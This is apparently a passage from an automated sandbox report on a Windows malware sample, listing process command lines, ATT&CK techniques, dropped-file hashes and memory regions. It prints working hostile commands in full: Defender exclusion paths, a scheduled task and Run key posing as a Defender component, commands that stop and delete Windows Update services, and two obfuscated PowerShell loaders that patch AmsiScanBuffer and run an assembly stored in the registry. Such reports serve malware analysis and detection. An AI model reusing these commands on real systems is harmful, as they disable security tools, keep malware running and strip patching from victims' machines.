  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2056
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1820
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1812
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:3140
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2268
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4072
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4624
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:5108
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:3608
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:4772
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:2256
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4752
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:2264

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 5068 -ip 5068
1⤵
PID:4228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 2724 -ip 2724
1⤵
PID:4280

C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
1⤵
- Executes dropped EXE
PID:1752

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:lbUKUmiXkOfn{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$GElRlAzVeGdRGy,[Parameter(Position=1)][Type]$aTywMPeIGW)$eRrKIOSoeoL=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+''+[Char](99)+''+'t'+'e'+'d'+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+'e'+'m'+[Char](111)+''+[Char](114)+'y'+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType('MyD'+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+'a'+'teT'+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+'c'+''+[Char](44)+''+'S'+''+'e'+''+'a'+''+[Char](108)+'e'+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+'ss,A'+[Char](117)+'t'+[Char](111)+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$eRrKIOSoeoL.DefineConstructor(''+'R'+'T'+[Char](83)+''+[Char](112)+''+'e'+''+[Char](99)+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+''+'e'+','+'H'+''+[Char](105)+'d'+'e'+''+[Char](66)+'y'+'S'+'ig'+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$GElRlAzVeGdRGy).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+'a'+[Char](103)+''+'e'+''+'d'+'');$eRrKIOSoeoL.DefineMethod('In'+'v'+''+[Char](111)+''+[Char](107)+''+'e'+'',''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+'i'+[Char](99)+''+[Char](44)+''+'H'+'i'+[Char](100)+''+'e'+''+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+'S'+'l'+''+[Char](111)+''+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+'r'+'t'+[Char](117)+''+[Char](97)+''+'l'+'',$aTywMPeIGW,$GElRlAzVeGdRGy).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'i'+'m'+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+'na'+[Char](103)+'e'+[Char](100)+'');Write-Output $eRrKIOSoeoL.CreateType();}$MQRESERrLIOFg=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+'m'+'.'+'dl'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+''+'o'+'f'+'t'+''+'.'+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+'2'+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+''+[Char](97)+''+'f'+''+'e'+'M'+[Char](81)+'R'+[Char](69)+''+[Char](83)+''+'E'+''+'R'+''+'r'+''+[Char](76)+''+[Char](73)+''+'O'+'Fg');$kTHsjfhIwXzxMs=$MQRESERrLIOFg.GetMethod('kT'+'H'+''+[Char](115)+'jf'+'h'+''+[Char](73)+''+'w'+''+[Char](88)+''+[Char](122)+''+'x'+''+[Char](77)+''+[Char](115)+'',[Reflection.BindingFlags]''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+'S'+''+[Char](116)+'a'+'t'+''+[Char](105)+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$jUjXuNnoVnfwPuXgLlA=lbUKUmiXkOfn @([String])([IntPtr]);$HSZIZpjWXVZApCdYJcmakU=lbUKUmiXkOfn @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$YxfLXhCwzrp=$MQRESERrLIOFg.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+'M'+'o'+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'Ha'+'n'+'d'+'l'+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+'l'+[Char](51)+'2'+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$fBAtSerjSQAdRS=$kTHsjfhIwXzxMs.Invoke($Null,@([Object]$YxfLXhCwzrp,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+'i'+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+[Char](121)+'A')));$wMKkpVCVJNYqgcKXs=$kTHsjfhIwXzxMs.Invoke($Null,@([Object]$YxfLXhCwzrp,[Object](''+'V'+'ir'+[Char](116)+'u'+'a'+''+'l'+''+[Char](80)+''+[Char](114)+'ot'+[Char](101)+'ct')));$lcGmODE=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fBAtSerjSQAdRS,$jUjXuNnoVnfwPuXgLlA).Invoke(''+'a'+''+'m'+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+'l'+'l'+'');$ZPJoCYkPHvrEjVUbO=$kTHsjfhIwXzxMs.Invoke($Null,@([Object]$lcGmODE,[Object](''+'A'+''+'m'+'s'+[Char](105)+''+[Char](83)+'c'+[Char](97)+'n'+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$nsJhXSijDf=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wMKkpVCVJNYqgcKXs,$HSZIZpjWXVZApCdYJcmakU).Invoke($ZPJoCYkPHvrEjVUbO,[uint32]8,4,[ref]$nsJhXSijDf);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$ZPJoCYkPHvrEjVUbO,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wMKkpVCVJNYqgcKXs,$HSZIZpjWXVZApCdYJcmakU).Invoke($ZPJoCYkPHvrEjVUbO,[uint32]8,0x20,[ref]$nsJhXSijDf);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+'T'+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue('d'+[Char](105)+'a'+[Char](108)+'e'+'r'+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4428

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:sCqulXgXvkPi{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$HSwfsCilxzbrAr,[Parameter(Position=1)][Type]$VHEBeiWGbX)$UHzakmqSbqD=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+'fl'+[Char](101)+''+'c'+'t'+'e'+''+[Char](100)+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+'M'+'y'+'D'+''+'e'+'le'+'g'+''+[Char](97)+''+'t'+''+[Char](101)+''+[Char](84)+''+[Char](121)+'pe',''+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+'s'+''+','+'P'+[Char](117)+''+[Char](98)+'li'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+'le'+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+''+[Char](44)+'Au'+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+'ss',[MulticastDelegate]);$UHzakmqSbqD.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+'p'+''+'e'+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+'e,'+[Char](72)+''+'i'+'de'+'B'+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+',P'+[Char](117)+''+'b'+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$HSwfsCilxzbrAr).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+'i'+[Char](109)+''+'e'+','+'M'+''+[Char](97)+''+[Char](110)+''+'a'+''+'g'+'ed');$UHzakmqSbqD.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+'S'+'ig'+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+[Char](83)+''+'l'+''+'o'+'t'+[Char](44)+'V'+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'',$VHEBeiWGbX,$HSwfsCilxzbrAr).SetImplementationFlags(''+'R'+'un'+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+','+'Ma'+[Char](110)+''+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $UHzakmqSbqD.CreateType();}$cBDvMOUEoUneI=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+'st'+[Char](101)+''+[Char](109)+''+'.'+''+'d'+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+[Char](114)+'os'+[Char](111)+''+'f'+''+'t'+''+'.'+''+[Char](87)+'i'+'n'+''+[Char](51)+'2'+'.'+''+[Char](85)+'ns'+'a'+'f'+'e'+''+'c'+'BDv'+[Char](77)+''+[Char](79)+''+[Char](85)+''+[Char](69)+''+[Char](111)+'Un'+[Char](101)+''+[Char](73)+'');$OIMypEFiZiAhBd=$cBDvMOUEoUneI.GetMethod(''+[Char](79)+'IM'+[Char](121)+'p'+[Char](69)+'Fi'+'Z'+''+[Char](105)+''+[Char](65)+''+'h'+'Bd',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](116)+''+[Char](97)+'t'+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$UfAxiLqOnqoJkaouMiD=sCqulXgXvkPi @([String])([IntPtr]);$qxvkGxAkuyHzSvCQKooRbY=sCqulXgXvkPi @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$RKrxRQBbuzZ=$cBDvMOUEoUneI.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+'e'+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+'e'+'l'+''+[Char](51)+''+[Char](50)+'.dll')));$DGsqruCjRmpuRo=$OIMypEFiZiAhBd.Invoke($Null,@([Object]$RKrxRQBbuzZ,[Object](''+'L'+''+[Char](111)+'ad'+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+''+'A'+'')));$ewMZVMPithuDMVZqP=$OIMypEFiZiAhBd.Invoke($Null,@([Object]$RKrxRQBbuzZ,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+'l'+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+'t')));$FAAbNTR=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DGsqruCjRmpuRo,$UfAxiLqOnqoJkaouMiD).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+''+'.'+''+[Char](100)+'l'+'l'+'');$uCGcnwQiqYoGpSbDj=$OIMypEFiZiAhBd.Invoke($Null,@([Object]$FAAbNTR,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+'anBu'+[Char](102)+''+'f'+''+'e'+''+'r'+'')));$DDBVqwwQKZ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ewMZVMPithuDMVZqP,$qxvkGxAkuyHzSvCQKooRbY).Invoke($uCGcnwQiqYoGpSbDj,[uint32]8,4,[ref]$DDBVqwwQKZ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$uCGcnwQiqYoGpSbDj,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ewMZVMPithuDMVZqP,$qxvkGxAkuyHzSvCQKooRbY).Invoke($uCGcnwQiqYoGpSbDj,[uint32]8,0x20,[ref]$DDBVqwwQKZ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+[Char](84)+''+'W'+''+'A'+''+[Char](82)+''+'E'+'').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+''+'l'+''+[Char](101)+'rs'+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2708

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
4bd004aaea63c0876e8cc23f98777f75

SHA1
2c9f0f30354aa7ad325fa08e60c4d9c0581cb37f

SHA256
5ee9feb7b0f89c0c9718ed7b2b66572e160ccb8d236860e83313668a540e2461

SHA512
ad12c1e4d9e8659b1c6cec9552819a40a616658e0a488884b37ede813cceb8531eb25025c979ab6900ffa012a9733f731466f892a9dcf1b2214519062c4af310

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
a7ce8cefc3f798abe5abd683d0ef26dd

SHA1
b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e

SHA256
5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a

SHA512
c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
119KB

MD5
d7581dfed2ec35db8fb3af0568b7fedc

SHA1
2c592c3fada484378744960c6aa6c773f3320d4d

SHA256
ac9057fdc650c801c3120613a20e0b03ce5a9c89708ef4a7026bd30df71c5ffd

SHA512
9e8e601935051724a5993665ad25a509086f0d7343b32623e2479ae0216bfeeea66ec71b6761a93700a86a383dd0f3309a6edced1681c7596621c3808c3901fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
119KB

MD5
d7581dfed2ec35db8fb3af0568b7fedc

SHA1
2c592c3fada484378744960c6aa6c773f3320d4d

SHA256
ac9057fdc650c801c3120613a20e0b03ce5a9c89708ef4a7026bd30df71c5ffd

SHA512
9e8e601935051724a5993665ad25a509086f0d7343b32623e2479ae0216bfeeea66ec71b6761a93700a86a383dd0f3309a6edced1681c7596621c3808c3901fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
464KB

MD5
990c8e3fc56a2734631b51fc61a6779a

SHA1
55a16cc67fc52cdf0690387e083955048106d48a

SHA256
d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

SHA512
f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

Download Submit
C:\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
464KB

MD5
990c8e3fc56a2734631b51fc61a6779a

SHA1
55a16cc67fc52cdf0690387e083955048106d48a

SHA256
d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

SHA512
f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe

Filesize
2.5MB

MD5
0a7608db01cae07792cea95e792aa866

SHA1
71dff876e4d5edb6cea78fee7aa15845d4950e24

SHA256
c16336ab32195b08c1678220fbe0256fee865f623e2b32fcfa4d9825fd68977e

SHA512
990a6fa1b8adb6727b1dcd8931ad84fdcb556533b78f896a71eae2a7e3ae3222e4b8efaa4b629ced2841211750e0d8a75ddd546a983c2e586918dd8ba4e0dc42

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe

Filesize
2.5MB

MD5
0a7608db01cae07792cea95e792aa866

SHA1
71dff876e4d5edb6cea78fee7aa15845d4950e24

SHA256
c16336ab32195b08c1678220fbe0256fee865f623e2b32fcfa4d9825fd68977e

SHA512
990a6fa1b8adb6727b1dcd8931ad84fdcb556533b78f896a71eae2a7e3ae3222e4b8efaa4b629ced2841211750e0d8a75ddd546a983c2e586918dd8ba4e0dc42

Download Submit
memory/224-155-0x0000000007AC0000-0x0000000007ADA000-memory.dmp

Filesize
104KB

Download
memory/224-147-0x0000000006B00000-0x0000000006B32000-memory.dmp

Filesize
200KB

Download
memory/224-152-0x00000000078B0000-0x00000000078BA000-memory.dmp

Filesize
40KB

Download
memory/224-153-0x0000000007B00000-0x0000000007B96000-memory.dmp

Filesize
600KB

Download
memory/224-154-0x0000000007A70000-0x0000000007A7E000-memory.dmp

Filesize
56KB

Download
memory/224-150-0x0000000007E80000-0x00000000084FA000-memory.dmp

Filesize
6.5MB

Download
memory/224-156-0x0000000007AB0000-0x0000000007AB8000-memory.dmp

Filesize
32KB

Download
memory/224-157-0x0000000007BD0000-0x0000000007BF2000-memory.dmp

Filesize
136KB

Download
memory/224-158-0x0000000008AB0000-0x0000000009054000-memory.dmp

Filesize
5.6MB

Download
memory/224-149-0x0000000006AE0000-0x0000000006AFE000-memory.dmp

Filesize
120KB

Download
memory/224-148-0x0000000070BC0000-0x0000000070C0C000-memory.dmp

Filesize
304KB

Download
memory/224-151-0x0000000007840000-0x000000000785A000-memory.dmp

Filesize
104KB

Download
memory/224-146-0x0000000006530000-0x000000000654E000-memory.dmp

Filesize
120KB

Download
memory/224-141-0x0000000004EB0000-0x0000000004EE6000-memory.dmp

Filesize
216KB

Download
memory/224-145-0x0000000005EC0000-0x0000000005F26000-memory.dmp

Filesize
408KB

Download
memory/224-144-0x0000000005DA0000-0x0000000005E06000-memory.dmp

Filesize
408KB

Download
memory/224-142-0x0000000005540000-0x0000000005B68000-memory.dmp

Filesize
6.2MB

Download
memory/224-143-0x00000000054D0000-0x00000000054F2000-memory.dmp

Filesize
136KB

Download
memory/328-233-0x00007FF813650000-0x00007FF813660000-memory.dmp

Filesize
64KB

Download
memory/616-234-0x00007FF813650000-0x00007FF813660000-memory.dmp

Filesize
64KB

Download
memory/2056-211-0x00007FF834390000-0x00007FF834E51000-memory.dmp

Filesize
10.8MB

Download
memory/2056-215-0x00007FF834390000-0x00007FF834E51000-memory.dmp

Filesize
10.8MB

Download
memory/2328-201-0x00007FF834390000-0x00007FF834E51000-memory.dmp

Filesize
10.8MB

Download
memory/2328-199-0x00000214769C0000-0x00000214769E2000-memory.dmp

Filesize
136KB

Download
memory/2604-179-0x0000000005420000-0x0000000005A38000-memory.dmp

Filesize
6.1MB

Download
memory/2604-181-0x0000000004F90000-0x000000000509A000-memory.dmp

Filesize
1.0MB

Download
memory/2604-180-0x0000000004E60000-0x0000000004E72000-memory.dmp

Filesize
72KB

Download
memory/2604-191-0x0000000004EC0000-0x0000000004EFC000-memory.dmp

Filesize
240KB

Download
memory/2604-192-0x0000000005200000-0x0000000005276000-memory.dmp

Filesize
472KB

Download
memory/2604-193-0x00000000053E0000-0x00000000053FE000-memory.dmp

Filesize
120KB

Download
memory/2604-194-0x0000000006AA0000-0x0000000006C62000-memory.dmp

Filesize
1.8MB

Download
memory/2604-195-0x00000000071A0000-0x00000000076CC000-memory.dmp

Filesize
5.2MB

Download
memory/2604-197-0x0000000006DC0000-0x0000000006E10000-memory.dmp

Filesize
320KB

Download
memory/2604-173-0x0000000000740000-0x0000000000760000-memory.dmp

Filesize
128KB

Download
memory/2708-220-0x00007FF8534C0000-0x00007FF85357E000-memory.dmp

Filesize
760KB

Download
memory/2708-232-0x00007FF8535D0000-0x00007FF8537C5000-memory.dmp

Filesize
2.0MB

Download
memory/2708-227-0x00007FF8535D0000-0x00007FF8537C5000-memory.dmp

Filesize
2.0MB

Download
memory/2708-231-0x00007FF834850000-0x00007FF835311000-memory.dmp

Filesize
10.8MB

Download
memory/2708-219-0x00007FF8535D0000-0x00007FF8537C5000-memory.dmp

Filesize
2.0MB

Download
memory/2708-218-0x00007FF834850000-0x00007FF835311000-memory.dmp

Filesize
10.8MB

Download
